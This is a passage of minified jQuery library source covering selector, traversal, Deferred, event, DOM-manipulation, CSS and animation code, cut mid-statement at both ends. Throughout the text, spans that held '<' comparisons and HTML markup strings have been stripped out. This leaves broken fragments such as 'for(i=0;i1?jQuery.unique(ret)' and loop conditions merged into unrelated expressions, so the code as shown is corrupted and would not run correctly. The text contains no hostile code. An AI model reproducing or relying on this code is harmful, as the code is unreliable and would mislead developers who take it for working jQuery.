results};support.sortStable=expando.split("").sort(sortOrder).join("")===expando;support.detectDuplicates=!!hasDuplicate;setDocument();support.sortDetached=assert(function(div1){return div1.compareDocumentPosition(document.createElement("div"))&1});if(!assert(function(div){div.innerHTML="";return div.firstChild.getAttribute("href")==="#"})){addHandle("type|href|height|width",function(elem,name,isXML){if(!isXML){return elem.getAttribute(name,name.toLowerCase()==="type"?1:2)}})}if(!support.attributes||!assert(function(div){div.innerHTML="";div.firstChild.setAttribute("value","");return div.firstChild.getAttribute("value")===""})){addHandle("value",function(elem,name,isXML){if(!isXML&&elem.nodeName.toLowerCase()==="input"){return elem.defaultValue}})}if(!assert(function(div){return div.getAttribute("disabled")==null})){addHandle(booleans,function(elem,name,isXML){var val;if(!isXML){return elem[name]===true?name.toLowerCase():(val=elem.getAttributeNode(name))&&val.specified?val.value:null}})}return Sizzle})(window);jQuery.find=Sizzle;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.pseudos;jQuery.unique=Sizzle.uniqueSort;jQuery.text=Sizzle.getText;jQuery.isXMLDoc=Sizzle.isXML;jQuery.contains=Sizzle.contains;var rneedsContext=jQuery.expr.match.needsContext;var rsingleTag=(/^<(\w+)\s*\/?>(?:<\/\1>|)$/);var risSimple=/^.[^:#\[\.,]*$/;function winnow(elements,qualifier,not){if(jQuery.isFunction(qualifier)){return jQuery.grep(elements,function(elem,i){return !!qualifier.call(elem,i,elem)!==not})}if(qualifier.nodeType){return jQuery.grep(elements,function(elem){return(elem===qualifier)!==not})}if(typeof qualifier==="string"){if(risSimple.test(qualifier)){return jQuery.filter(qualifier,elements,not)}qualifier=jQuery.filter(qualifier,elements)}return jQuery.grep(elements,function(elem){return(indexOf.call(qualifier,elem)>=0)!==not})}jQuery.filter=function(expr,elems,not){var elem=elems[0];if(not){expr=":not("+expr+")"}return elems.length===1&&elem.nodeType===1?jQuery.find.matchesSelector(elem,expr)?[elem]:[]:jQuery.find.matches(expr,jQuery.grep(elems,function(elem){return elem.nodeType===1}))};jQuery.fn.extend({find:function(selector){var i,len=this.length,ret=[],self=this;if(typeof selector!=="string"){return this.pushStack(jQuery(selector).filter(function(){for(i=0;i1?jQuery.unique(ret):ret);ret.selector=this.selector?this.selector+" "+selector:selector;return ret},filter:function(selector){return this.pushStack(winnow(this,selector||[],false))},not:function(selector){return this.pushStack(winnow(this,selector||[],true))},is:function(selector){return !!winnow(this,typeof selector==="string"&&rneedsContext.test(selector)?jQuery(selector):selector||[],false).length}});var rootjQuery,rquickExpr=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,init=jQuery.fn.init=function(selector,context){var match,elem;if(!selector){return this}if(typeof selector==="string"){if(selector[0]==="<"&&selector[selector.length-1]===">"&&selector.length>=3){match=[null,selector,null]}else{match=rquickExpr.exec(selector)}if(match&&(match[1]||!context)){if(match[1]){context=context instanceof jQuery?context[0]:context;jQuery.merge(this,jQuery.parseHTML(match[1],context&&context.nodeType?context.ownerDocument||context:document,true));if(rsingleTag.test(match[1])&&jQuery.isPlainObject(context)){for(match in context){if(jQuery.isFunction(this[match])){this[match](context[match])}else{this.attr(match,context[match])}}}return this}else{elem=document.getElementById(match[2]);if(elem&&elem.parentNode){this.length=1;this[0]=elem}this.context=document;this.selector=selector;return this}}else{if(!context||context.jquery){return(context||rootjQuery).find(selector)}else{return this.constructor(context).find(selector)}}}else{if(selector.nodeType){this.context=this[0]=selector;this.length=1;return this}else{if(jQuery.isFunction(selector)){return typeof rootjQuery.ready!=="undefined"?rootjQuery.ready(selector):selector(jQuery)}}}if(selector.selector!==undefined){this.selector=selector.selector;this.context=selector.context}return jQuery.makeArray(selector,this)};init.prototype=jQuery.fn;rootjQuery=jQuery(document);var rparentsprev=/^(?:parents|prev(?:Until|All))/,guaranteedUnique={children:true,contents:true,next:true,prev:true};jQuery.extend({dir:function(elem,dir,until){var matched=[],truncate=until!==undefined;while((elem=elem[dir])&&elem.nodeType!==9){if(elem.nodeType===1){if(truncate&&jQuery(elem).is(until)){break}matched.push(elem)}}return matched},sibling:function(n,elem){var matched=[];for(;n;n=n.nextSibling){if(n.nodeType===1&&n!==elem){matched.push(n)}}return matched}});jQuery.fn.extend({has:function(target){var targets=jQuery(target,this),l=targets.length;return this.filter(function(){var i=0;for(;i-1:cur.nodeType===1&&jQuery.find.matchesSelector(cur,selectors))){matched.push(cur);break}}}return this.pushStack(matched.length>1?jQuery.unique(matched):matched)},index:function(elem){if(!elem){return(this[0]&&this[0].parentNode)?this.first().prevAll().length:-1}if(typeof elem==="string"){return indexOf.call(jQuery(elem),this[0])}return indexOf.call(this,elem.jquery?elem[0]:elem)},add:function(selector,context){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),jQuery(selector,context))))},addBack:function(selector){return this.add(selector==null?this.prevObject:this.prevObject.filter(selector))}});function sibling(cur,dir){while((cur=cur[dir])&&cur.nodeType!==1){}return cur}jQuery.each({parent:function(elem){var parent=elem.parentNode;return parent&&parent.nodeType!==11?parent:null},parents:function(elem){return jQuery.dir(elem,"parentNode")},parentsUntil:function(elem,i,until){return jQuery.dir(elem,"parentNode",until)},next:function(elem){return sibling(elem,"nextSibling")},prev:function(elem){return sibling(elem,"previousSibling")},nextAll:function(elem){return jQuery.dir(elem,"nextSibling")},prevAll:function(elem){return jQuery.dir(elem,"previousSibling")},nextUntil:function(elem,i,until){return jQuery.dir(elem,"nextSibling",until)},prevUntil:function(elem,i,until){return jQuery.dir(elem,"previousSibling",until)},siblings:function(elem){return jQuery.sibling((elem.parentNode||{}).firstChild,elem)},children:function(elem){return jQuery.sibling(elem.firstChild)},contents:function(elem){return elem.contentDocument||jQuery.merge([],elem.childNodes)}},function(name,fn){jQuery.fn[name]=function(until,selector){var matched=jQuery.map(this,fn,until);if(name.slice(-5)!=="Until"){selector=until}if(selector&&typeof selector==="string"){matched=jQuery.filter(selector,matched)}if(this.length>1){if(!guaranteedUnique[name]){jQuery.unique(matched)}if(rparentsprev.test(name)){matched.reverse()}}return this.pushStack(matched)}});var rnotwhite=(/\S+/g);var optionsCache={};function createOptions(options){var object=optionsCache[options]={};jQuery.each(options.match(rnotwhite)||[],function(_,flag){object[flag]=true});return object}jQuery.Callbacks=function(options){options=typeof options==="string"?(optionsCache[options]||createOptions(options)):jQuery.extend({},options);var memory,fired,firing,firingStart,firingLength,firingIndex,list=[],stack=!options.once&&[],fire=function(data){memory=options.memory&&data;fired=true;firingIndex=firingStart||0;firingStart=0;firingLength=list.length;firing=true;for(;list&&firingIndex-1){list.splice(index,1);if(firing){if(index<=firingLength){firingLength--}if(index<=firingIndex){firingIndex--}}}})}return this},has:function(fn){return fn?jQuery.inArray(fn,list)>-1:!!(list&&list.length)},empty:function(){list=[];firingLength=0;return this},disable:function(){list=stack=memory=undefined;return this},disabled:function(){return !list},lock:function(){stack=undefined;if(!memory){self.disable()}return this},locked:function(){return !stack},fireWith:function(context,args){if(list&&(!fired||stack)){args=args||[];args=[context,args.slice?args.slice():args];if(firing){stack.push(args)}else{fire(args)}}return this},fire:function(){self.fireWith(this,arguments);return this},fired:function(){return !!fired}};return self};jQuery.extend({Deferred:function(func){var tuples=[["resolve","done",jQuery.Callbacks("once memory"),"resolved"],["reject","fail",jQuery.Callbacks("once memory"),"rejected"],["notify","progress",jQuery.Callbacks("memory")]],state="pending",promise={state:function(){return state},always:function(){deferred.done(arguments).fail(arguments);return this},then:function(){var fns=arguments;return jQuery.Deferred(function(newDefer){jQuery.each(tuples,function(i,tuple){var fn=jQuery.isFunction(fns[i])&&fns[i];deferred[tuple[1]](function(){var returned=fn&&fn.apply(this,arguments);if(returned&&jQuery.isFunction(returned.promise)){returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)}else{newDefer[tuple[0]+"With"](this===promise?newDefer.promise():this,fn?[returned]:arguments)}})});fns=null}).promise()},promise:function(obj){return obj!=null?jQuery.extend(obj,promise):promise}},deferred={};promise.pipe=promise.then;jQuery.each(tuples,function(i,tuple){var list=tuple[2],stateString=tuple[3];promise[tuple[1]]=list.add;if(stateString){list.add(function(){state=stateString},tuples[i^1][2].disable,tuples[2][2].lock)}deferred[tuple[0]]=function(){deferred[tuple[0]+"With"](this===deferred?promise:this,arguments);return this};deferred[tuple[0]+"With"]=list.fireWith});promise.promise(deferred);if(func){func.call(deferred,deferred)}return deferred},when:function(subordinate){var i=0,resolveValues=slice.call(arguments),length=resolveValues.length,remaining=length!==1||(subordinate&&jQuery.isFunction(subordinate.promise))?length:0,deferred=remaining===1?subordinate:jQuery.Deferred(),updateFunc=function(i,contexts,values){return function(value){contexts[i]=this;values[i]=arguments.length>1?slice.call(arguments):value;if(values===progressValues){deferred.notifyWith(contexts,values)}else{if(!(--remaining)){deferred.resolveWith(contexts,values)}}}},progressValues,progressContexts,resolveContexts;if(length>1){progressValues=new Array(length);progressContexts=new Array(length);resolveContexts=new Array(length);for(;i0){return}readyList.resolveWith(document,[jQuery]);if(jQuery.fn.triggerHandler){jQuery(document).triggerHandler("ready");jQuery(document).off("ready")}}});function completed(){document.removeEventListener("DOMContentLoaded",completed,false);window.removeEventListener("load",completed,false);jQuery.ready()}jQuery.ready.promise=function(obj){if(!readyList){readyList=jQuery.Deferred();if(document.readyState==="complete"){setTimeout(jQuery.ready)}else{document.addEventListener("DOMContentLoaded",completed,false);window.addEventListener("load",completed,false)}}return readyList.promise(obj)};jQuery.ready.promise();var access=jQuery.access=function(elems,fn,key,value,chainable,emptyGet,raw){var i=0,len=elems.length,bulk=key==null;if(jQuery.type(key)==="object"){chainable=true;for(i in key){jQuery.access(elems,fn,i,key[i],true,emptyGet,raw)}}else{if(value!==undefined){chainable=true;if(!jQuery.isFunction(value)){raw=true}if(bulk){if(raw){fn.call(elems,value);fn=null}else{bulk=fn;fn=function(elem,key,value){return bulk.call(jQuery(elem),value)}}}if(fn){for(;i1,null,true)},removeData:function(key){return this.each(function(){data_user.remove(this,key)})}});jQuery.extend({queue:function(elem,type,data){var queue;if(elem){type=(type||"fx")+"queue";queue=data_priv.get(elem,type);if(data){if(!queue||jQuery.isArray(data)){queue=data_priv.access(elem,type,jQuery.makeArray(data))}else{queue.push(data)}}return queue||[]}},dequeue:function(elem,type){type=type||"fx";var queue=jQuery.queue(elem,type),startLength=queue.length,fn=queue.shift(),hooks=jQuery._queueHooks(elem,type),next=function(){jQuery.dequeue(elem,type)};if(fn==="inprogress"){fn=queue.shift();startLength--}if(fn){if(type==="fx"){queue.unshift("inprogress")}delete hooks.stop;fn.call(elem,next,hooks)}if(!startLength&&hooks){hooks.empty.fire()}},_queueHooks:function(elem,type){var key=type+"queueHooks";return data_priv.get(elem,key)||data_priv.access(elem,key,{empty:jQuery.Callbacks("once memory").add(function(){data_priv.remove(elem,[type+"queue",key])})})}});jQuery.fn.extend({queue:function(type,data){var setter=2;if(typeof type!=="string"){data=type;type="fx";setter--}if(arguments.lengthx";support.noCloneChecked=!!div.cloneNode(true).lastChild.defaultValue})();var strundefined=typeof undefined;support.focusinBubbles="onfocusin" in window;var rkeyEvent=/^key/,rmouseEvent=/^(?:mouse|pointer|contextmenu)|click/,rfocusMorph=/^(?:focusinfocus|focusoutblur)$/,rtypenamespace=/^([^.]*)(?:\.(.+)|)$/;function returnTrue(){return true}function returnFalse(){return false}function safeActiveElement(){try{return document.activeElement}catch(err){}}jQuery.event={global:{},add:function(elem,types,handler,data,selector){var handleObjIn,eventHandle,tmp,events,t,handleObj,special,handlers,type,namespaces,origType,elemData=data_priv.get(elem);if(!elemData){return}if(handler.handler){handleObjIn=handler;handler=handleObjIn.handler;selector=handleObjIn.selector}if(!handler.guid){handler.guid=jQuery.guid++}if(!(events=elemData.events)){events=elemData.events={}}if(!(eventHandle=elemData.handle)){eventHandle=elemData.handle=function(e){return typeof jQuery!==strundefined&&jQuery.event.triggered!==e.type?jQuery.event.dispatch.apply(elem,arguments):undefined}}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;special=jQuery.event.special[type]||{};handleObj=jQuery.extend({type:type,origType:origType,data:data,handler:handler,guid:handler.guid,selector:selector,needsContext:selector&&jQuery.expr.match.needsContext.test(selector),namespace:namespaces.join(".")},handleObjIn);if(!(handlers=events[type])){handlers=events[type]=[];handlers.delegateCount=0;if(!special.setup||special.setup.call(elem,data,namespaces,eventHandle)===false){if(elem.addEventListener){elem.addEventListener(type,eventHandle,false)}}}if(special.add){special.add.call(elem,handleObj);if(!handleObj.handler.guid){handleObj.handler.guid=handler.guid}}if(selector){handlers.splice(handlers.delegateCount++,0,handleObj)}else{handlers.push(handleObj)}jQuery.event.global[type]=true}},remove:function(elem,types,handler,selector,mappedTypes){var j,origCount,tmp,events,t,handleObj,special,handlers,type,namespaces,origType,elemData=data_priv.hasData(elem)&&data_priv.get(elem);if(!elemData||!(events=elemData.events)){return}types=(types||"").match(rnotwhite)||[""];t=types.length;while(t--){tmp=rtypenamespace.exec(types[t])||[];type=origType=tmp[1];namespaces=(tmp[2]||"").split(".").sort();if(!type){for(type in events){jQuery.event.remove(elem,type+types[t],handler,selector,true)}continue}special=jQuery.event.special[type]||{};type=(selector?special.delegateType:special.bindType)||type;handlers=events[type]||[];tmp=tmp[2]&&new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)");origCount=j=handlers.length;while(j--){handleObj=handlers[j];if((mappedTypes||origType===handleObj.origType)&&(!handler||handler.guid===handleObj.guid)&&(!tmp||tmp.test(handleObj.namespace))&&(!selector||selector===handleObj.selector||selector==="**"&&handleObj.selector)){handlers.splice(j,1);if(handleObj.selector){handlers.delegateCount--}if(special.remove){special.remove.call(elem,handleObj)}}}if(origCount&&!handlers.length){if(!special.teardown||special.teardown.call(elem,namespaces,elemData.handle)===false){jQuery.removeEvent(elem,type,elemData.handle)}delete events[type]}}if(jQuery.isEmptyObject(events)){delete elemData.handle;data_priv.remove(elem,"events")}},trigger:function(event,data,elem,onlyHandlers){var i,cur,tmp,bubbleType,ontype,handle,special,eventPath=[elem||document],type=hasOwn.call(event,"type")?event.type:event,namespaces=hasOwn.call(event,"namespace")?event.namespace.split("."):[];cur=tmp=elem=elem||document;if(elem.nodeType===3||elem.nodeType===8){return}if(rfocusMorph.test(type+jQuery.event.triggered)){return}if(type.indexOf(".")>=0){namespaces=type.split(".");type=namespaces.shift();namespaces.sort()}ontype=type.indexOf(":")<0&&"on"+type;event=event[jQuery.expando]?event:new jQuery.Event(type,typeof event==="object"&&event);event.isTrigger=onlyHandlers?2:3;event.namespace=namespaces.join(".");event.namespace_re=event.namespace?new RegExp("(^|\\.)"+namespaces.join("\\.(?:.*\\.|)")+"(\\.|$)"):null;event.result=undefined;if(!event.target){event.target=elem}data=data==null?[event]:jQuery.makeArray(data,[event]);special=jQuery.event.special[type]||{};if(!onlyHandlers&&special.trigger&&special.trigger.apply(elem,data)===false){return}if(!onlyHandlers&&!special.noBubble&&!jQuery.isWindow(elem)){bubbleType=special.delegateType||type;if(!rfocusMorph.test(bubbleType+type)){cur=cur.parentNode}for(;cur;cur=cur.parentNode){eventPath.push(cur);tmp=cur}if(tmp===(elem.ownerDocument||document)){eventPath.push(tmp.defaultView||tmp.parentWindow||window)}}i=0;while((cur=eventPath[i++])&&!event.isPropagationStopped()){event.type=i>1?bubbleType:special.bindType||type;handle=(data_priv.get(cur,"events")||{})[event.type]&&data_priv.get(cur,"handle");if(handle){handle.apply(cur,data)}handle=ontype&&cur[ontype];if(handle&&handle.apply&&jQuery.acceptData(cur)){event.result=handle.apply(cur,data);if(event.result===false){event.preventDefault()}}}event.type=type;if(!onlyHandlers&&!event.isDefaultPrevented()){if((!special._default||special._default.apply(eventPath.pop(),data)===false)&&jQuery.acceptData(elem)){if(ontype&&jQuery.isFunction(elem[type])&&!jQuery.isWindow(elem)){tmp=elem[ontype];if(tmp){elem[ontype]=null}jQuery.event.triggered=type;elem[type]();jQuery.event.triggered=undefined;if(tmp){elem[ontype]=tmp}}}}return event.result},dispatch:function(event){event=jQuery.event.fix(event);var i,j,ret,matched,handleObj,handlerQueue=[],args=slice.call(arguments),handlers=(data_priv.get(this,"events")||{})[event.type]||[],special=jQuery.event.special[event.type]||{};args[0]=event;event.delegateTarget=this;if(special.preDispatch&&special.preDispatch.call(this,event)===false){return}handlerQueue=jQuery.event.handlers.call(this,event,handlers);i=0;while((matched=handlerQueue[i++])&&!event.isPropagationStopped()){event.currentTarget=matched.elem;j=0;while((handleObj=matched.handlers[j++])&&!event.isImmediatePropagationStopped()){if(!event.namespace_re||event.namespace_re.test(handleObj.namespace)){event.handleObj=handleObj;event.data=handleObj.data;ret=((jQuery.event.special[handleObj.origType]||{}).handle||handleObj.handler).apply(matched.elem,args);if(ret!==undefined){if((event.result=ret)===false){event.preventDefault();event.stopPropagation()}}}}}if(special.postDispatch){special.postDispatch.call(this,event)}return event.result},handlers:function(event,handlers){var i,matches,sel,handleObj,handlerQueue=[],delegateCount=handlers.delegateCount,cur=event.target;if(delegateCount&&cur.nodeType&&(!event.button||event.type!=="click")){for(;cur!==this;cur=cur.parentNode||this){if(cur.disabled!==true||event.type!=="click"){matches=[];for(i=0;i=0:jQuery.find(sel,this,null,[cur]).length}if(matches[sel]){matches.push(handleObj)}}if(matches.length){handlerQueue.push({elem:cur,handlers:matches})}}}}if(delegateCount]*)\/>/gi,rtagName=/<([\w:]+)/,rhtml=/<|&#?\w+;/,rnoInnerhtml=/<(?:script|style|link)/i,rchecked=/checked\s*(?:[^=]|=\s*.checked.)/i,rscriptType=/^$|\/(?:java|ecma)script/i,rscriptTypeMasked=/^true\/(.*)/,rcleanScript=/^\s*\s*$/g,wrapMap={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};wrapMap.optgroup=wrapMap.option;wrapMap.tbody=wrapMap.tfoot=wrapMap.colgroup=wrapMap.caption=wrapMap.thead;wrapMap.th=wrapMap.td;function manipulationTarget(elem,content){return jQuery.nodeName(elem,"table")&&jQuery.nodeName(content.nodeType!==11?content:content.firstChild,"tr")?elem.getElementsByTagName("tbody")[0]||elem.appendChild(elem.ownerDocument.createElement("tbody")):elem}function disableScript(elem){elem.type=(elem.getAttribute("type")!==null)+"/"+elem.type;return elem}function restoreScript(elem){var match=rscriptTypeMasked.exec(elem.type);if(match){elem.type=match[1]}else{elem.removeAttribute("type")}return elem}function setGlobalEval(elems,refElements){var i=0,l=elems.length;for(;i0){setGlobalEval(destElements,!inPage&&getAll(elem,"script"))}return clone},buildFragment:function(elems,context,scripts,selection){var elem,tmp,tag,wrap,contains,j,fragment=context.createDocumentFragment(),nodes=[],i=0,l=elems.length;for(;i")+wrap[2];j=wrap[0];while(j--){tmp=tmp.lastChild}jQuery.merge(nodes,tmp.childNodes);tmp=fragment.firstChild;tmp.textContent=""}}}}fragment.textContent="";i=0;while((elem=nodes[i++])){if(selection&&jQuery.inArray(elem,selection)!==-1){continue}contains=jQuery.contains(elem.ownerDocument,elem);tmp=getAll(fragment.appendChild(elem),"script");if(contains){setGlobalEval(tmp)}if(scripts){j=0;while((elem=tmp[j++])){if(rscriptType.test(elem.type||"")){scripts.push(elem)}}}}return fragment},cleanData:function(elems){var data,elem,type,key,special=jQuery.event.special,i=0;for(;(elem=elems[i])!==undefined;i++){if(jQuery.acceptData(elem)){key=elem[data_priv.expando];if(key&&(data=data_priv.cache[key])){if(data.events){for(type in data.events){if(special[type]){jQuery.event.remove(elem,type)}else{jQuery.removeEvent(elem,type,data.handle)}}}if(data_priv.cache[key]){delete data_priv.cache[key]}}}delete data_user.cache[elem[data_user.expando]]}}});jQuery.fn.extend({text:function(value){return access(this,function(value){return value===undefined?jQuery.text(this):this.empty().each(function(){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){this.textContent=value}})},null,value,arguments.length)},append:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.appendChild(elem)}})},prepend:function(){return this.domManip(arguments,function(elem){if(this.nodeType===1||this.nodeType===11||this.nodeType===9){var target=manipulationTarget(this,elem);target.insertBefore(elem,target.firstChild)}})},before:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this)}})},after:function(){return this.domManip(arguments,function(elem){if(this.parentNode){this.parentNode.insertBefore(elem,this.nextSibling)}})},remove:function(selector,keepData){var elem,elems=selector?jQuery.filter(selector,this):this,i=0;for(;(elem=elems[i])!=null;i++){if(!keepData&&elem.nodeType===1){jQuery.cleanData(getAll(elem))}if(elem.parentNode){if(keepData&&jQuery.contains(elem.ownerDocument,elem)){setGlobalEval(getAll(elem,"script"))}elem.parentNode.removeChild(elem)}}return this},empty:function(){var elem,i=0;for(;(elem=this[i])!=null;i++){if(elem.nodeType===1){jQuery.cleanData(getAll(elem,false));elem.textContent=""}}return this},clone:function(dataAndEvents,deepDataAndEvents){dataAndEvents=dataAndEvents==null?false:dataAndEvents;deepDataAndEvents=deepDataAndEvents==null?dataAndEvents:deepDataAndEvents;return this.map(function(){return jQuery.clone(this,dataAndEvents,deepDataAndEvents)})},html:function(value){return access(this,function(value){var elem=this[0]||{},i=0,l=this.length;if(value===undefined&&elem.nodeType===1){return elem.innerHTML}if(typeof value==="string"&&!rnoInnerhtml.test(value)&&!wrapMap[(rtagName.exec(value)||["",""])[1].toLowerCase()]){value=value.replace(rxhtmlTag,"<$1>");try{for(;i1&&typeof value==="string"&&!support.checkClone&&rchecked.test(value))){return this.each(function(index){var self=set.eq(index);if(isFunction){args[0]=value.call(this,index,self.html())}self.domManip(args,callback)})}if(l){fragment=jQuery.buildFragment(args,this[0].ownerDocument,false,this);first=fragment.firstChild;if(fragment.childNodes.length===1){fragment=first}if(first){scripts=jQuery.map(getAll(fragment,"script"),disableScript);hasScripts=scripts.length;for(;i")).appendTo(doc.documentElement);doc=iframe[0].contentDocument;doc.write();doc.close();display=actualDisplay(nodeName,doc);iframe.detach()}elemdisplay[nodeName]=display}return display}var rmargin=(/^margin/);var rnumnonpx=new RegExp("^("+pnum+")(?!px)[a-z%]+$","i");var getStyles=function(elem){return elem.ownerDocument.defaultView.getComputedStyle(elem,null)};function curCSS(elem,name,computed){var width,minWidth,maxWidth,ret,style=elem.style;computed=computed||getStyles(elem);if(computed){ret=computed.getPropertyValue(name)||computed[name]}if(computed){if(ret===""&&!jQuery.contains(elem.ownerDocument,elem)){ret=jQuery.style(elem,name)}if(rnumnonpx.test(ret)&&rmargin.test(name)){width=style.width;minWidth=style.minWidth;maxWidth=style.maxWidth;style.minWidth=style.maxWidth=style.width=ret;ret=computed.width;style.width=width;style.minWidth=minWidth;style.maxWidth=maxWidth}}return ret!==undefined?ret+"":ret}function addGetHookIf(conditionFn,hookFn){return{get:function(){if(conditionFn()){delete this.get;return}return(this.get=hookFn).apply(this,arguments)}}}(function(){var pixelPositionVal,boxSizingReliableVal,docElem=document.documentElement,container=document.createElement("div"),div=document.createElement("div");if(!div.style){return}div.style.backgroundClip="content-box";div.cloneNode(true).style.backgroundClip="";support.clearCloneStyle=div.style.backgroundClip==="content-box";container.style.cssText="border:0;width:0;height:0;top:0;left:-9999px;margin-top:1px;position:absolute";container.appendChild(div);function computePixelPositionAndBoxSizingReliable(){div.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;display:block;margin-top:1%;top:1%;border:1px;padding:1px;width:4px;position:absolute";div.innerHTML="";docElem.appendChild(container);var divStyle=window.getComputedStyle(div,null);pixelPositionVal=divStyle.top!=="1%";boxSizingReliableVal=divStyle.width==="4px";docElem.removeChild(container)}if(window.getComputedStyle){jQuery.extend(support,{pixelPosition:function(){computePixelPositionAndBoxSizingReliable();return pixelPositionVal},boxSizingReliable:function(){if(boxSizingReliableVal==null){computePixelPositionAndBoxSizingReliable()}return boxSizingReliableVal},reliableMarginRight:function(){var ret,marginDiv=div.appendChild(document.createElement("div"));marginDiv.style.cssText=div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0";marginDiv.style.marginRight=marginDiv.style.width="0";div.style.width="1px";docElem.appendChild(container);ret=!parseFloat(window.getComputedStyle(marginDiv,null).marginRight);docElem.removeChild(container);return ret}})}})();jQuery.swap=function(elem,options,callback,args){var ret,name,old={};for(name in options){old[name]=elem.style[name];elem.style[name]=options[name]}ret=callback.apply(elem,args||[]);for(name in options){elem.style[name]=old[name]}return ret};var rdisplayswap=/^(none|table(?!-c[ea]).+)/,rnumsplit=new RegExp("^("+pnum+")(.*)$","i"),rrelNum=new RegExp("^([+-])=("+pnum+")","i"),cssShow={position:"absolute",visibility:"hidden",display:"block"},cssNormalTransform={letterSpacing:"0",fontWeight:"400"},cssPrefixes=["Webkit","O","Moz","ms"];function vendorPropName(style,name){if(name in style){return name}var capName=name[0].toUpperCase()+name.slice(1),origName=name,i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in style){return name}}return origName}function setPositiveNumber(elem,value,subtract){var matches=rnumsplit.exec(value);return matches?Math.max(0,matches[1]-(subtract||0))+(matches[2]||"px"):value}function augmentWidthOrHeight(elem,name,extra,isBorderBox,styles){var i=extra===(isBorderBox?"border":"content")?4:name==="width"?1:0,val=0;for(;i<4;i+=2){if(extra==="margin"){val+=jQuery.css(elem,extra+cssExpand[i],true,styles)}if(isBorderBox){if(extra==="content"){val-=jQuery.css(elem,"padding"+cssExpand[i],true,styles)}if(extra!=="margin"){val-=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}else{val+=jQuery.css(elem,"padding"+cssExpand[i],true,styles);if(extra!=="padding"){val+=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}}return val}function getWidthOrHeight(elem,name,extra){var valueIsBorderBox=true,val=name==="width"?elem.offsetWidth:elem.offsetHeight,styles=getStyles(elem),isBorderBox=jQuery.css(elem,"boxSizing",false,styles)==="border-box";if(val<=0||val==null){val=curCSS(elem,name,styles);if(val<0||val==null){val=elem.style[name]}if(rnumnonpx.test(val)){return val}valueIsBorderBox=isBorderBox&&(support.boxSizingReliable()||val===elem.style[name]);val=parseFloat(val)||0}return(val+augmentWidthOrHeight(elem,name,extra||(isBorderBox?"border":"content"),valueIsBorderBox,styles))+"px"}function showHide(elements,show){var display,elem,hidden,values=[],index=0,length=elements.length;for(;index1)},show:function(){return showHide(this,true)},hide:function(){return showHide(this)},toggle:function(state){if(typeof state==="boolean"){return state?this.show():this.hide()}return this.each(function(){if(isHidden(this)){jQuery(this).show()}else{jQuery(this).hide()}})}});function Tween(elem,options,prop,end,easing){return new Tween.prototype.init(elem,options,prop,end,easing)}jQuery.Tween=Tween;Tween.prototype={constructor:Tween,init:function(elem,options,prop,end,easing,unit){this.elem=elem;this.prop=prop;this.easing=easing||"swing";this.options=options;this.start=this.now=this.cur();this.end=end;this.unit=unit||(jQuery.cssNumber[prop]?"":"px")},cur:function(){var hooks=Tween.propHooks[this.prop];return hooks&&hooks.get?hooks.get(this):Tween.propHooks._default.get(this)},run:function(percent){var eased,hooks=Tween.propHooks[this.prop];if(this.options.duration){this.pos=eased=jQuery.easing[this.easing](percent,this.options.duration*percent,0,1,this.options.duration)}else{this.pos=eased=percent}this.now=(this.end-this.start)*eased+this.start;if(this.options.step){this.options.step.call(this.elem,this.now,this)}if(hooks&&hooks.set){hooks.set(this)}else{Tween.propHooks._default.set(this)}return this}};Tween.prototype.init.prototype=Tween.prototype;Tween.propHooks={_default:{get:function(tween){var result;if(tween.elem[tween.prop]!=null&&(!tween.elem.style||tween.elem.style[tween.prop]==null)){return tween.elem[tween.prop]}result=jQuery.css(tween.elem,tween.prop,"");return !result||result==="auto"?0:result},set:function(tween){if(jQuery.fx.step[tween.prop]){jQuery.fx.step[tween.prop](tween)}else{if(tween.elem.style&&(tween.elem.style[jQuery.cssProps[tween.prop]]!=null||jQuery.cssHooks[tween.prop])){jQuery.style(tween.elem,tween.prop,tween.now+tween.unit)}else{tween.elem[tween.prop]=tween.now}}}}};Tween.propHooks.scrollTop=Tween.propHooks.scrollLeft={set:function(tween){if(tween.elem.nodeType&&tween.elem.parentNode){tween.elem[tween.prop]=tween.now}}};jQuery.easing={linear:function(p){return p},swing:function(p){return 0.5-Math.cos(p*Math.PI)/2}};jQuery.fx=Tween.prototype.init;jQuery.fx.step={};var fxNow,timerId,rfxtypes=/^(?:toggle|show|hide)$/,rfxnum=new RegExp("^(?:([+-])=|)("+pnum+")([a-z%]*)$","i"),rrun=/queueHooks$/,animationPrefilters=[defaultPrefilter],tweeners={"*":[function(prop,value){var tween=this.createTween(prop,value),target=tween.cur(),parts=rfxnum.exec(value),unit=parts&&parts[3]||(jQuery.cssNumber[prop]?"":"px"),start=(jQuery.cssNumber[prop]||unit!=="px"&&+target)&&rfxnum.exec(jQuery.css(tween.elem,prop)),scale=1,maxIterations=20;if(start&&start[3]!==unit){unit=unit||start[3];parts=parts||[];start=+target||1;do{scale=scale||".5";start=start/scale;jQuery.style(tween.elem,prop,start+unit)}while(scale!==(scale=tween.cur()/target)&&scale!==1&&--maxIterations)}if(parts){start=tween.start=+start||+target||0;tween.unit=unit;tween.end=parts[1]?start+(parts[1]+1)*parts[2]:+parts[2]}return tween}]};function createFxNow(){setTimeout(function(){fxNow=undefined});return(fxNow=jQuery.now())}function genFx(type,includeWidth){var 